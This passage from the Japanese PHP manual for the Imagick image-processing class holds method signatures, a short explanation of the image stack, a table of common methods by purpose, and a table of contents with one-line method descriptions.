public paintOpaqueImage ( mixed $target , mixed $fill , float $fuzz , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public paintTransparentImage ( mixed $target , float $alpha , float $fuzz ) : bool
public pingImage ( string $filename ) : bool
public pingImageBlob ( string $image ) : bool
public pingImageFile ( resource $filehandle , string $fileName = ? ) : bool
public polaroidImage ( ImagickDraw $properties , float $angle ) : bool
public posterizeImage ( int $levels , bool $dither ) : bool
public previewImages ( int $preview ) : bool
public previousImage ( ) : bool
public profileImage ( string $name , string $profile ) : bool
public quantizeImage ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError ) : bool
public quantizeImages ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError ) : bool
public queryFontMetrics ( ImagickDraw $properties , string $text , bool $multiline = ? ) : array
public static queryFonts ( string $pattern = "*" ) : array
public static queryFormats ( string $pattern = "*" ) : array
public radialBlurImage ( float $angle , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public raiseImage ( int $width , int $height , int $x , int $y , bool $raise ) : bool
public randomThresholdImage ( float $low , float $high , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public readImage ( string $filename ) : bool
public readImageBlob ( string $image , string $filename = ? ) : bool
public readImageFile ( resource $filehandle , string $fileName = null ) : bool
public readImages ( array $filenames ) : bool
public recolorImage ( array $matrix ) : bool
public reduceNoiseImage ( float $radius ) : bool
public remapImage ( Imagick $replacement , int $DITHER ) : bool
public removeImage ( ) : bool
public removeImageProfile ( string $name ) : string
public render ( ) : bool
public resampleImage ( float $x_resolution , float $y_resolution , int $filter , float $blur ) : bool
public resetImagePage ( string $page ) : bool
public resizeImage ( int $columns , int $rows , int $filter , float $blur , bool $bestfit = false , bool $legacy = false ) : bool
public rollImage ( int $x , int $y ) : bool
public rotateImage ( mixed $background , float $degrees ) : bool
public rotationalBlurImage ( float $angle , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public roundCorners ( float $x_rounding , float $y_rounding , float $stroke_width = 10 , float $displace = 5 , float $size_correction = -6 ) : bool
public sampleImage ( int $columns , int $rows ) : bool
public scaleImage ( int $cols , int $rows , bool $bestfit = false , bool $legacy = false ) : bool
public segmentImage ( int $COLORSPACE , float $cluster_threshold , float $smooth_threshold , bool $verbose = false ) : bool
public selectiveBlurImage ( float $radius , float $sigma , float $threshold , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public separateImageChannel ( int $channel ) : bool
public sepiaToneImage ( float $threshold ) : bool
public setBackgroundColor ( mixed $background ) : bool
public setColorspace ( int $COLORSPACE ) : bool
public setCompression ( int $compression ) : bool
public setCompressionQuality ( int $quality ) : bool
public setFilename ( string $filename ) : bool
public setFirstIterator ( ) : bool
public setFont ( string $font ) : bool
public setFormat ( string $format ) : bool
public setGravity ( int $gravity ) : bool
public setImage ( Imagick $replace ) : bool
public setImageAlphaChannel ( int $mode ) : bool
public setImageArtifact ( string $artifact , string $value ) : bool
public setImageAttribute ( string $key , string $value ) : bool
public setImageBackgroundColor ( mixed $background ) : bool
public setImageBias ( float $bias ) : bool
public setImageBiasQuantum ( string $bias ) : void
public setImageBluePrimary ( float $x , float $y ) : bool
public setImageBorderColor ( mixed $border ) : bool
public setImageChannelDepth ( int $channel , int $depth ) : bool
public setImageClipMask ( Imagick $clip_mask ) : bool
public setImageColormapColor ( int $index , ImagickPixel $color ) : bool
public setImageColorspace ( int $colorspace ) : bool
public setImageCompose ( int $compose ) : bool
public setImageCompression ( int $compression ) : bool
public setImageCompressionQuality ( int $quality ) : bool
public setImageDelay ( int $delay ) : bool
public setImageDepth ( int $depth ) : bool
public setImageDispose ( int $dispose ) : bool
public setImageExtent ( int $columns , int $rows ) : bool
public setImageFilename ( string $filename ) : bool
public setImageFormat ( string $format ) : bool
public setImageGamma ( float $gamma ) : bool
public setImageGravity ( int $gravity ) : bool
public setImageGreenPrimary ( float $x , float $y ) : bool
public setImageIndex ( int $index ) : bool
public setImageInterlaceScheme ( int $interlace_scheme ) : bool
public setImageInterpolateMethod ( int $method ) : bool
public setImageIterations ( int $iterations ) : bool
public setImageMatte ( bool $matte ) : bool
public setImageMatteColor ( mixed $matte ) : bool
public setImageOpacity ( float $opacity ) : bool
public setImageOrientation ( int $orientation ) : bool
public setImagePage ( int $width , int $height , int $x , int $y ) : bool
public setImageProfile ( string $name , string $profile ) : bool
public setImageProperty ( string $name , string $value ) : bool
public setImageRedPrimary ( float $x , float $y ) : bool
public setImageRenderingIntent ( int $rendering_intent ) : bool
public setImageResolution ( float $x_resolution , float $y_resolution ) : bool
public setImageScene ( int $scene ) : bool
public setImageTicksPerSecond ( int $ticks_per_second ) : bool
public setImageType ( int $image_type ) : bool
public setImageUnits ( int $units ) : bool
public setImageVirtualPixelMethod ( int $method ) : bool
public setImageWhitePoint ( float $x , float $y ) : bool
public setInterlaceScheme ( int $interlace_scheme ) : bool
public setIteratorIndex ( int $index ) : bool
public setLastIterator ( ) : bool
public setOption ( string $key , string $value ) : bool
public setPage ( int $width , int $height , int $x , int $y ) : bool
public setPointSize ( float $point_size ) : bool
public setProgressMonitor ( callable $callback ) : bool
public static setRegistry ( string $key , string $value ) : bool
public setResolution ( float $x_resolution , float $y_resolution ) : bool
public static setResourceLimit ( int $type , int $limit ) : bool
public setSamplingFactors ( array $factors ) : bool
public setSize ( int $columns , int $rows ) : bool
public setSizeOffset ( int $columns , int $rows , int $offset ) : bool
public setType ( int $image_type ) : bool
public shadeImage ( bool $gray , float $azimuth , float $elevation ) : bool
public shadowImage ( float $opacity , float $sigma , int $x , int $y ) : bool
public sharpenImage ( float $radius , float $sigma , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public shaveImage ( int $columns , int $rows ) : bool
public shearImage ( mixed $background , float $x_shear , float $y_shear ) : bool
public sigmoidalContrastImage ( bool $sharpen , float $alpha , float $beta , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public sketchImage ( float $radius , float $sigma , float $angle ) : bool
public smushImages ( bool $stack , int $offset ) : Imagick
public solarizeImage ( int $threshold ) : bool
public sparseColorImage ( int $SPARSE_METHOD , array $arguments , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public spliceImage ( int $width , int $height , int $x , int $y ) : bool
public spreadImage ( float $radius ) : bool
public statisticImage ( int $type , int $width , int $height , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public steganoImage ( Imagick $watermark_wand , int $offset ) : Imagick
public stereoImage ( Imagick $offset_wand ) : bool
public stripImage ( ) : bool
public subImageMatch ( Imagick $Imagick , array &$offset = ? , float &$similarity = ? ) : Imagick
swirlImage ( float $degrees ) : bool
textureImage ( Imagick $texture_wand ) : Imagick
public thresholdImage ( float $threshold , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public thumbnailImage ( int $columns , int $rows , bool $bestfit = false , bool $fill = false , bool $legacy = false ) : bool
public tintImage ( mixed $tint , mixed $opacity , bool $legacy = false ) : bool
public __toString ( ) : string
public transformImage ( string $crop , string $geometry ) : Imagick
public transformImageColorspace ( int $colorspace ) : bool
public transparentPaintImage ( mixed $target , float $alpha , float $fuzz , bool $invert ) : bool
public transposeImage ( ) : bool
public transverseImage ( ) : bool
public trimImage ( float $fuzz ) : bool
public uniqueImageColors ( ) : bool
public unsharpMaskImage ( float $radius , float $sigma , float $amount , float $threshold , int $channel = Imagick::CHANNEL_DEFAULT ) : bool
public valid ( ) : bool
public vignetteImage ( float $blackPoint , float $whitePoint , int $x , int $y ) : bool
public waveImage ( float $amplitude , float $length ) : bool
public whiteThresholdImage ( mixed $threshold ) : bool
public writeImage ( string $filename = NULL ) : bool
public writeImageFile ( resource $filehandle , string $format = ? ) : bool
public writeImages ( string $filename , bool $adjoin ) : bool
public writeImagesFile ( resource $filehandle , string $format = ? ) : bool
}

画像メソッドおよびグローバルメソッド

Imagick クラスには、複数の画像を同時に保持して操作する機能があります。 内部的には、この機能をスタックで実装しています。 現在の画像を保持する内部ポインタが存在します。 Imagick クラスのすべての画像に対する操作を行う関数もありますが、 大半の関数は内部ポインタが指す現在の画像に対してのみ操作を行います。 スタック内の現在の画像に対してのみ影響を及ぼす関数については、 そのメソッド名に Image という単語を含める決まりになっています。

クラスメソッド

あまりにもたくさんのメソッドがあるので、 一般的な用法に絞った簡単な一覧を示します。

目的別のクラスメソッド
画像に対する効果 | Get メソッド | Set メソッド | 画像の読み書き | その他
Imagick::adaptiveBlurImage() | Imagick::getCompression() | Imagick::setBackgroundColor() | Imagick::__construct() | Imagick::clear()
Imagick::adaptiveResizeImage() | Imagick::getFilename() | Imagick::setCompressionQuality() | Imagick::addImage() | Imagick::clone()
Imagick::adaptiveSharpenImage() | Imagick::getFormat() | Imagick::setCompression() | Imagick::appendImages() | Imagick::current()
Imagick::adaptiveThresholdImage() | Imagick::getImageBackgroundColor() | Imagick::setFilename() | Imagick::getFilename() | Imagick::destroy()
Imagick::addNoiseImage() | Imagick::getImageBlob() | Imagick::getImagesBlob() | Imagick::setFormat() | Imagick::getFormat()
Imagick::affinetransformimage() | Imagick::getImageBluePrimary() | Imagick::setImageBackgroundColor() | Imagick::getImageFilename() | Imagick::getHomeURL()
Imagick::annotateImage() | Imagick::getImageBorderColor() | Imagick::setFirstIterator() | Imagick::getImageFormat() | Imagick::commentImage()
Imagick::averageImages() | Imagick::getImageChannelDepth() | Imagick::setImageBias() | Imagick::getImage() | Imagick::getNumberImages()
Imagick::blackThresholdImage() | Imagick::getImageChannelDistortion() | Imagick::setImageBluePrimary() | Imagick::setImageFilename() | Imagick::getReleaseDate()
Imagick::blurImage() | Imagick::getImageChannelExtrema() | Imagick::setImageBorderColor() | Imagick::setImageFormat() | Imagick::getVersion()
Imagick::borderImage() | Imagick::getImageChannelMean() | Imagick::setImageChannelDepth() | Imagick::readImageFile() | Imagick::hasNextImage()
Imagick::charcoalImage() | Imagick::getImageChannelStatistics() | Imagick::setImageColormapColor() | Imagick::readImage() | Imagick::hasPreviousImage()
Imagick::chopImage() | Imagick::getImageColormapColor() | Imagick::setImageColorSpace() | Imagick::writeImages() | Imagick::labelImage()
Imagick::clipImage() | Imagick::getImageColorspace() | Imagick::setImageCompose() | Imagick::writeImage() | Imagick::newImage()
Imagick::clipPathImage() | Imagick::getImageColors() | Imagick::setImageCompression() |  | Imagick::newPseudoImage()
Imagick::coalesceImages() | Imagick::getImageCompose() | Imagick::setImageDelay() |  | Imagick::nextImage()
Imagick::colorFloodFillImage() | Imagick::getImageDelay() | Imagick::setImageDepth() |  | Imagick::pingImageBlob()
Imagick::colorizeImage() | Imagick::getImageDepth() | Imagick::setImageDispose() |  | Imagick::pingImageFile()
Imagick::combineImages() | Imagick::getImageDispose() | Imagick::setImageDispose() |  | Imagick::pingImage()
Imagick::compareImageChannels() | Imagick::getImageDistortion() | Imagick::setImageExtent() |  | Imagick::previousImage()
Imagick::compareImageLayers() | Imagick::getImageExtrema() | Imagick::setImageFilename() |  | Imagick::profileImage()
Imagick::compositeImage() | Imagick::getImageFilename() | Imagick::setImageFormat() |  | Imagick::queryFormats()
Imagick::contrastImage() | Imagick::getImageFormat() | Imagick::setImageGamma() |  | Imagick::removeImageProfile()
Imagick::contrastStretchImage() | Imagick::getImageGamma() | Imagick::setImageGreenPrimary() |  | Imagick::removeImage()
Imagick::convolveImage() | Imagick::getImageGeometry() | Imagick::setImageIndex() |  | Imagick::setFirstIterator()
Imagick::cropImage() | Imagick::getImageGreenPrimary() | Imagick::setImageInterpolateMethod() |  | Imagick::setImageIndex()
Imagick::cycleColormapImage() | Imagick::getImageHeight() | Imagick::setImageIterations() |  | Imagick::valid()
Imagick::deconstructImages() | Imagick::getImageHistogram() | Imagick::setImageMatteColor() |  | Imagick::getCopyright()
Imagick::drawImage() | Imagick::getImageIndex() | Imagick::setImageMatte() |  |
Imagick::edgeImage() | Imagick::getImageInterlaceScheme() | Imagick::setImagePage() |  |
Imagick::embossImage() | Imagick::getImageInterpolateMethod() | Imagick::setImageProfile() |  |
Imagick::enhanceImage() | Imagick::getImageIterations() | Imagick::setImageProperty() |  |
Imagick::equalizeImage() | Imagick::getImageMatteColor() | Imagick::setImageRedPrimary() |  |
Imagick::evaluateImage() | Imagick::getImageMatte() | Imagick::setImageRenderingIntent() |  |
Imagick::flattenImages() | Imagick::getImagePage() | Imagick::setImageResolution() |  |
Imagick::flipImage() | Imagick::getImagePixelColor() | Imagick::setImageScene() |  |
Imagick::flopImage() | Imagick::getImageProfile() | Imagick::setImageTicksPerSecond() |  |
 | Imagick::getImageProperty() | Imagick::setImageType() |  |
Imagick::fxImage() | Imagick::getImageRedPrimary() | Imagick::setImageUnits() |  |
Imagick::gammaImage() | Imagick::getImageRegion() | Imagick::setImageVirtualPixelMethod() |  |
Imagick::gaussianBlurImage() | Imagick::getImageRenderingIntent() | Imagick::setImageWhitepoint() |  |
Imagick::implodeImage() | Imagick::getImageResolution() | Imagick::setInterlaceScheme() |  |
Imagick::levelImage() | Imagick::getImageScene() | Imagick::setOption() |  |
Imagick::linearStretchImage() | Imagick::getImageSignature() | Imagick::setPage() |  |
Imagick::magnifyImage() | Imagick::getImageTicksPerSecond() | Imagick::setResolution() |  |
Imagick::matteFloodFillImage() | Imagick::getImageTotalInkDensity() | Imagick::setResourceLimit() |  |
Imagick::medianFilterImage() | Imagick::getImageType() | Imagick::setSamplingFactors() |  |
Imagick::minifyImage() | Imagick::getImageUnits() | Imagick::setSizeOffset() |  |
Imagick::modulateImage() | Imagick::getImageVirtualPixelMethod() | Imagick::setSize() |  |
Imagick::montageImage() | Imagick::getImageWhitepoint() | Imagick::setType() |  |
Imagick::morphImages() | Imagick::getImageWidth() |  |  |
Imagick::mosaicImages() | Imagick::getImage() |  |  |
Imagick::motionBlurImage() | Imagick::getInterlaceScheme() |  |  |
Imagick::negateImage() | Imagick::getNumberImages() |  |  |
Imagick::normalizeImage() | Imagick::getOption() |  |  |
Imagick::oilPaintImage() | Imagick::getPackageName() |  |  |
Imagick::optimizeImageLayers() | Imagick::getPage() |  |  |
Imagick::paintOpaqueImage() | Imagick::getPixelIterator() |  |  |
Imagick::paintTransparentImage() | Imagick::getPixelRegionIterator() |  |  |
Imagick::posterizeImage() | Imagick::getQuantumDepth() |  |  |
Imagick::radialBlurImage() | Imagick::getQuantumRange() |  |  |
Imagick::raiseImage() | Imagick::getResourceLimit() |  |  |
Imagick::randomThresholdImage() | Imagick::getResource() |  |  |
Imagick::reduceNoiseImage() | Imagick::getSamplingFactors() |  |  |
Imagick::render() | Imagick::getSizeOffset() |  |  |
Imagick::resampleImage() | Imagick::getSize() |  |  |
Imagick::resizeImage() | Imagick::identifyImage() |  |  |
Imagick::rollImage() | Imagick::getImageSize() |  |  |
Imagick::rotateImage() |  |  |  |
Imagick::sampleImage() |  |  |  |
Imagick::scaleImage() |  |  |  |
Imagick::separateImageChannel() |  |  |  |
Imagick::sepiaToneImage() |  |  |  |
Imagick::shadeImage() |  |  |  |
Imagick::shadowImage() |  |  |  |
Imagick::sharpenImage() |  |  |  |
Imagick::shaveImage() |  |  |  |
Imagick::shearImage() |  |  |  |
Imagick::sigmoidalContrastImage() |  |  |  |
Imagick::sketchImage() |  |  |  |
Imagick::solarizeImage() |  |  |  |
Imagick::spliceImage() |  |  |  |
Imagick::spreadImage() |  |  |  |
Imagick::steganoImage() |  |  |  |
Imagick::stereoImage() |  |  |  |
Imagick::stripImage() |  |  |  |
Imagick::swirlImage() |  |  |  |
Imagick::textureImage() |  |  |  |
Imagick::thresholdImage() |  |  |  |
Imagick::thumbnailImage() |  |  |  |
Imagick::tintImage() |  |  |  |
Imagick::transverseImage() |  |  |  |
Imagick::trimImage() |  |  |  |
Imagick::uniqueImageColors() |  |  |  |
Imagick::unsharpMaskImage() |  |  |  |
Imagick::vignetteImage() |  |  |  |
Imagick::waveImage() |  |  |  |
Imagick::whiteThresholdImage() |  |  |  |

目次

  • Imagick::adaptiveBlurImage — adaptive blur (順応性にじみ) フィルタを画像に追加する
  • Imagick::adaptiveResizeImage — データに依存する三角測量にもとづいて画像のサイズを変更する
  • Imagick::adaptiveSharpenImage — 順応して画像をシャープにする
  • Imagick::adaptiveThresholdImage — 輝度の範囲にもとづいて各ピクセルの閾値を選択する
  • Imagick::addImage — 新しい画像を Imagick オブジェクトの画像リストに追加する
  • Imagick::addNoiseImage — ランダムなノイズを画像に追加する
  • Imagick::affineTransformImage — 画像を変換する
  • Imagick::animateImages — 画像を動かす
  • Imagick::annotateImage — 画像にテキストによる注記を加える
  • Imagick::appendImages — 画像群を追加する
  • Imagick::autoLevelImage — Description
  • Imagick::averageImages — 画像群を平均化する
  • Imagick::blackThresholdImage — 閾値に満たないすべてのピクセルを黒にする
  • Imagick::blueShiftImage — Description
  • Imagick::blurImage — blur (にじみ) フィルタを画像に追加する
  • Imagick::borderImage — 画像の周りを枠線で囲む
  • Imagick::brightnessContrastImage — Description
  • Imagick::charcoalImage — 木炭画をシミュレートする
  • Imagick::chopImage — 画像の一部を取り除き、切り詰める
  • Imagick::clampImage — Description
  • Imagick::clear — Imagick オブジェクトに関連付けられたすべてのリソースをクリアする
  • Imagick::clipImage — 8BIM プロファイルの最初のパスにそって切り取る
  • Imagick::clipImagePath — Description
  • Imagick::clipPathImage — 8BIM プロファイルの指定した名前のパスにそって切り取る
  • Imagick::clone — Imagick オブジェクトの完全なコピーを作成する
  • Imagick::clutImage — 画像の色を置き換える
  • Imagick::coalesceImages — 複数の画像を合成する
  • Imagick::colorFloodfillImage — 対象にマッチする任意の点の色の値を変更する
  • Imagick::colorizeImage — 塗りつぶし色と画像を混合する
  • Imagick::colorMatrixImage — Description
  • Imagick::combineImages — ひとつあるいは複数の画像をひとつにまとめる
  • Imagick::commentImage — コメントを画像に追加する
  • Imagick::compareImageChannels — ひとつあるいは複数の画像の差を返す
  • Imagick::compareImageLayers — 複数の画像の中で最大の境界範囲を返す
  • Imagick::compareImages — ある画像を再構築された画像と比較する
  • Imagick::compositeImage — ある画像を別の画像に合成する
  • Imagick::__construct — Imagick のコンストラクタ
  • Imagick::contrastImage — 画像のコントラストを変更する
  • Imagick::contrastStretchImage — カラー画像のコントラストを強調する
  • Imagick::convolveImage — 独自の畳み込み関数を画像に適用する
  • Imagick::count — Get the number of images
  • Imagick::cropImage — 画像の一部を抽出する
  • Imagick::cropThumbnailImage — 切り取ってサムネイルを作成する
  • Imagick::current — 現在の Imagick オブジェクトへの参照を返す
  • Imagick::cycleColormapImage — 画像のカラーマップを移動する
  • Imagick::decipherImage — 画像を復号する
  • Imagick::deconstructImages — 画像間の特定のピクセルの差を返す
  • Imagick::deleteImageArtifact — 画像のアーチファクトを削除する
  • Imagick::deleteImageProperty — Description
  • Imagick::deskewImage — 傾きを除去する
  • Imagick::despeckleImage — 画像内のスペックルノイズを軽減する
  • Imagick::destroy — Imagick オブジェクトを破棄する
  • Imagick::displayImage — 画像を表示する
  • Imagick::displayImages — 画像あるいは画像シーケンスを表示する
  • Imagick::distortImage — さまざまな方式で画像を歪める
  • Imagick::drawImage — 現在の画像上の ImagickDraw オブジェクトをレンダリングする
  • Imagick::edgeImage — 画像の輪郭を強調する
  • Imagick::embossImage — グレースケール画像に三次元効果を施して返す
  • Imagick::encipherImage — 画像を暗号化する
  • Imagick::enhanceImage — ノイジーな画像の品質を向上させる
  • Imagick::equalizeImage — 画像ヒストグラムを均等化する
  • Imagick::evaluateImage — 式を画像に適用する
  • Imagick::exportImagePixels — 画像の生のピクセルをエクスポートする
  • Imagick::extentImage — 画像のサイズを設定する
  • Imagick::filter — Description
  • Imagick::flattenImages — 画像シーケンスをマージする
  • Imagick::flipImage — 垂直方向に反転した画像を作成する
  • Imagick::floodFillPaintImage — 対象にマッチする任意のピクセルの値を変更する
  • Imagick::flopImage — 垂直方向に反転した画像を作成する
  • Imagick::forwardFourierTransformImage — Description
  • Imagick::frameImage — 三次元の枠線をシミュレートする
  • Imagick::functionImage — 画像に関数を適用する
  • Imagick::fxImage — 式を画像の各ピクセルに適用する
  • Imagick::gammaImage — 画像をガンマ補正する
  • Imagick::gaussianBlurImage — 画像をぼかす
  • Imagick::getColorspace — 色空間を取得する
  • Imagick::getCompression — オブジェクトの圧縮形式を取得する
  • Imagick::getCompressionQuality — オブジェクトの圧縮品質を取得する
  • Imagick::getCopyright — ImageMagick API の著作権情報を文字列で返す
  • Imagick::getFilename — 画像シーケンスに関連付けられたファイル名を取得する
  • Imagick::getFont — フォントを取得する
  • Imagick::getFormat — Imagick オブジェクトのフォーマットを取得する
  • Imagick::getGravity — gravity を取得する
  • Imagick::getHomeURL — ImageMagick のホーム URL を返す
  • Imagick::getImage — 新しい Imagick オブジェクトを返す
  • Imagick::getImageAlphaChannel — 画像のアルファチャネルを取得する
  • Imagick::getImageArtifact — 画像のアーチファクトを取得する
  • Imagick::getImageAttribute — Description
  • Imagick::getImageBackgroundColor — 画像の背景色を返す
  • Imagick::getImageBlob — 画像シーケンスを blob で返す
  • Imagick::getImageBluePrimary — 青が一番強い点を返す
  • Imagick::getImageBorderColor — 画像の前景色を返す
  • Imagick::getImageChannelDepth — 特定の画像チャネルの深度を返す
  • Imagick::getImageChannelDistortion — 画像のチャネルを再構築した画像と比較する
  • Imagick::getImageChannelDistortions — チャネルの歪みを取得する
  • Imagick::getImageChannelExtrema — ひとつあるいは複数の画像チャネルの極値を取得する
  • Imagick::getImageChannelKurtosis — getImageChannelKurtosis
  • Imagick::getImageChannelMean — 平均値と標準偏差を取得する
  • Imagick::getImageChannelRange — チャネルの範囲を取得する
  • Imagick::getImageChannelStatistics — 画像の各チャネルの統計情報を返す
  • Imagick::getImageClipMask — 画像のクリップマスクを取得する
  • Imagick::getImageColormapColor — 指定したインデックスに対応する色マップ上の色を返す
  • Imagick::getImageColors — 画像で使われている色の数を取得する
  • Imagick::getImageColorspace — 画像の色空間を取得する
  • Imagick::getImageCompose — 画像の合成演算子を返す
  • Imagick::getImageCompression — 現在の画像の圧縮形式を取得する
  • Imagick::getImageCompressionQuality — 現在の画像の圧縮品質を取得する
  • Imagick::getImageDelay — 画像の遅延を取得する
  • Imagick::getImageDepth — 画像の深度を取得する
  • Imagick::getImageDispose — 画像の配置方法を取得する
  • Imagick::getImageDistortion — ある画像と再構築した画像を比較する
  • Imagick::getImageExtrema — 画像の極値を取得する
  • Imagick::getImageFilename — シーケンス内の特定の画像のファイル名を返す
  • Imagick::getImageFormat — シーケンス内の特定の画像のフォーマットを返す
  • Imagick::getImageGamma — 画像のガンマを取得する
  • Imagick::getImageGeometry — 幅と高さを連想配列で取得する
  • Imagick::getImageGravity — 画像の gravity を取得する
  • Imagick::getImageGreenPrimary — 緑が一番強い点を返す
  • Imagick::getImageHeight — 画像の高さを返す
  • Imagick::getImageHistogram — 画像のヒストグラムを取得する
  • Imagick::getImageIndex — 現在アクティブな画像のインデックスを取得する
  • Imagick::getImageInterlaceScheme — 画像のインターレース手法を取得する
  • Imagick::getImageInterpolateMethod — 画像の補間方式を返す
  • Imagick::getImageIterations — 画像の反復を取得する
  • Imagick::getImageLength — 画像の長さをバイト数で取得する
  • Imagick::getImageMatte — 画像がマットチャネルを持っているかどうかを返す
  • Imagick::getImageMatteColor — 画像のマット色を返す
  • Imagick::getImageMimeType — Description
  • Imagick::getImageOrientation — 画像の方向を取得する
  • Imagick::getImagePage — ページのジオメトリを返す
  • Imagick::getImagePixelColor — 指定したピクセルの色を返す
  • Imagick::getImageProfile — 指定した名前の画像プロファイルを返す
  • Imagick::getImageProfiles — 画像プロファイルを返す
  • Imagick::getImageProperties — 画像のプロパティを返す
  • Imagick::getImageProperty — 指定した名前の画像のプロパティを返す
  • Imagick::getImageRedPrimary — 赤が一番強い点を返す
  • Imagick::getImageRegion — 画像の一部を抽出する
  • Imagick::getImageRenderingIntent — 画像のレンダリング方向を取得する
  • Imagick::getImageResolution — 画像の X 方向と Y 方向の解像度を取得する
  • Imagick::getImagesBlob — すべての画像シーケンスを blob で返す
  • Imagick::getImageScene — 画像のシーンを取得する
  • Imagick::getImageSignature — SHA-256 メッセージダイジェストを生成する
  • Imagick::getImageSize — 画像の長さをバイト数で返す
  • Imagick::getImageTicksPerSecond — 画像の ticks-per-second を取得する
  • Imagick::getImageTotalInkDensity — 画像の総インク密度を取得する
  • Imagick::getImageType — 画像の型を取得する
  • Imagick::getImageUnits — 画像の解像度の単位を取得する
  • Imagick::getImageVirtualPixelMethod — 仮想ピクセルメソッドを取得する
  • Imagick::getImageWhitePoint — 色度が白い点を返す
  • Imagick::getImageWidth — 画像の幅を返す
  • Imagick::getInterlaceScheme — オブジェクトのインターレース方式を取得する
  • Imagick::getIteratorIndex — 現在アクティブな画像のインデックスを取得する
  • Imagick::getNumberImages — オブジェクト内の画像の数を返す
  • Imagick::getOption — 指定したキーに対応する値を返す
  • Imagick::getPackageName — ImageMagick パッケージ名を返す
  • Imagick::getPage — ページのジオメトリを返す
  • Imagick::getPixelIterator — MagickPixelIterator を返す
  • Imagick::getPixelRegionIterator — 画像セクションの ImagickPixelIterator を取得する
  • Imagick::getPointSize — ポイントサイズを取得する
  • Imagick::getQuantum — Description
  • Imagick::getQuantumDepth — quantum depth を取得する
  • Imagick::getQuantumRange — Imagick quantum range を返す
  • Imagick::getRegistry — Description
  • Imagick::getReleaseDate — ImageMagick のリリース日を返す
  • Imagick::getResource — 指定したリソースのメモリ使用状況を返す
  • Imagick::getResourceLimit — 指定したリソースの制限を返す
  • Imagick::getSamplingFactors — 水平方向および垂直方向のサンプリング係数を取得する
  • Imagick::getSize — Returns the size associated with the Imagick object
  • Imagick::getSizeOffset — サイズのオフセットを返す
  • Imagick::getVersion — ImageMagick API のバージョンを返す
  • Imagick::haldClutImage — 画像内の色を置換する
  • Imagick::hasNextImage — オブジェクトが次の画像を保持しているかどうかを調べる
  • Imagick::hasPreviousImage — オブジェクトが前の画像を保持しているかどうかを調べる
  • Imagick::identifyFormat — Description
  • Imagick::identifyImage — 画像を識別し、属性を取得する
  • Imagick::implodeImage — 新しい画像をコピーとして作成する
  • Imagick::importImagePixels — 画像のピクセルをインポートする
  • Imagick::inverseFourierTransformImage — Description
  • Imagick::labelImage — ラベルを画像に追加する
  • Imagick::levelImage — 画像のレベルを調節する
  • Imagick::linearStretchImage — 画像の輝度を引き伸ばして飽和させる
  • Imagick::liquidRescaleImage — 画像を動かす
  • Imagick::listRegistry — Description
  • Imagick::magnifyImage — 画像を 2 倍に比例拡大する
  • Imagick::mapImage — 画像の色を、参照画像の中の最も近い色に置き換える
  • Imagick::matteFloodfillImage — 色の透明度を変更する
  • Imagick::medianFilterImage — デジタルフィルタを適用する
  • Imagick::mergeImageLayers — 画像のレイヤーをマージする
  • Imagick::minifyImage — 画像をその半分のサイズに比例縮小する
  • Imagick::modulateImage — 明度、飽和度、色相を制御する
  • Imagick::montageImage — 合成画像を作成する
  • Imagick::morphImages — 複数の画像をモーフィングする
  • Imagick::morphology — Description
  • Imagick::mosaicImages — 画像からモザイクを作成する
  • Imagick::motionBlurImage — モーションブラーをシミュレートする
  • Imagick::negateImage — 画像の色を打ち消す
  • Imagick::newImage — 新しい画像を作成する
  • Imagick::newPseudoImage — 新しい画像を作成する
  • Imagick::nextImage — 次の画像に移動する
  • Imagick::normalizeImage — カラー画像のコントラストを強調する
  • Imagick::oilPaintImage — 油絵をシミュレートする
  • Imagick::opaquePaintImage — 対象にマッチする任意のピクセルの色を変更する
  • Imagick::optimizeImageLayers — 画像の繰り返し部分を削除して最適化する
  • Imagick::orderedPosterizeImage — 配列ディザリングを行う
  • Imagick::paintFloodfillImage — 色にマッチするピクセルを変更する
  • Imagick::paintOpaqueImage — 色にマッチするピクセルを変更する
  • Imagick::paintTransparentImage — 色にマッチするピクセルを塗りつぶし色に変更する
  • Imagick::pingImage — 画像の基本属性を取得する
  • Imagick::pingImageBlob — 手早く属性を取得する
  • Imagick::pingImageFile — 画像の基本属性を手軽に取得する
  • Imagick::polaroidImage — ポラロイド写真をシミュレートする
  • Imagick::posterizeImage — 指定した色数まで画像を減色する
  • Imagick::previewImages — 画像処理用の適切なパラメータを手早く取得する
  • Imagick::previousImage — オブジェクト内の前の画像に移動する
  • Imagick::profileImage — 画像のプロファイルを追加あるいは削除する
  • Imagick::quantizeImage — 参照画像内の色を解析する
  • Imagick::quantizeImages — 画像シーケンス内の色を解析する
  • Imagick::queryFontMetrics — フォントメトリクスを表す配列を返す
  • Imagick::queryFonts — 設定したフォントを返す
  • Imagick::queryFormats — Imagick がサポートするフォーマットを返す
  • Imagick::radialBlurImage — 画像にラジアルブラーを施す
  • Imagick::raiseImage — 三次元のボタン風の効果をシミュレートする
  • Imagick::randomThresholdImage — コントラストの高い 2 色の画像を作成する
  • Imagick::readImage — ファイルから画像を読み込む
  • Imagick::readImageBlob — バイナリ文字列から画像を読み込む
  • Imagick::readImageFile — オープンしているファイルハンドルから画像を読み込む
  • Imagick::readimages — Description
  • Imagick::recolorImage — 画像の色を変更する
  • Imagick::reduceNoiseImage — 画像の輪郭をなめらかにする
  • Imagick::remapImage — 画像の色を再配置する
  • Imagick::removeImage — 画像リストから画像を削除する
  • Imagick::removeImageProfile — 指定した名前の画像プロファイルを削除してそれを返す
  • Imagick::render — それまでのすべての描画コマンドをレンダリングする
  • Imagick::resampleImage — 画像を指定した解像度にリサンプリングする
  • Imagick::resetImagePage — 画像のページをリセットする
  • Imagick::resizeImage — 画像のサイズを変更する
  • Imagick::rollImage — 画像を補正する
  • Imagick::rotateImage — 画像を回転する
  • Imagick::rotationalBlurImage — Description
  • Imagick::roundCorners — 画像の角を丸める
  • Imagick::sampleImage — ピクセルのサンプリングによって画像の倍率を変更する
  • Imagick::scaleImage — 画像のサイズを変更する
  • Imagick::segmentImage — 画像を分割する
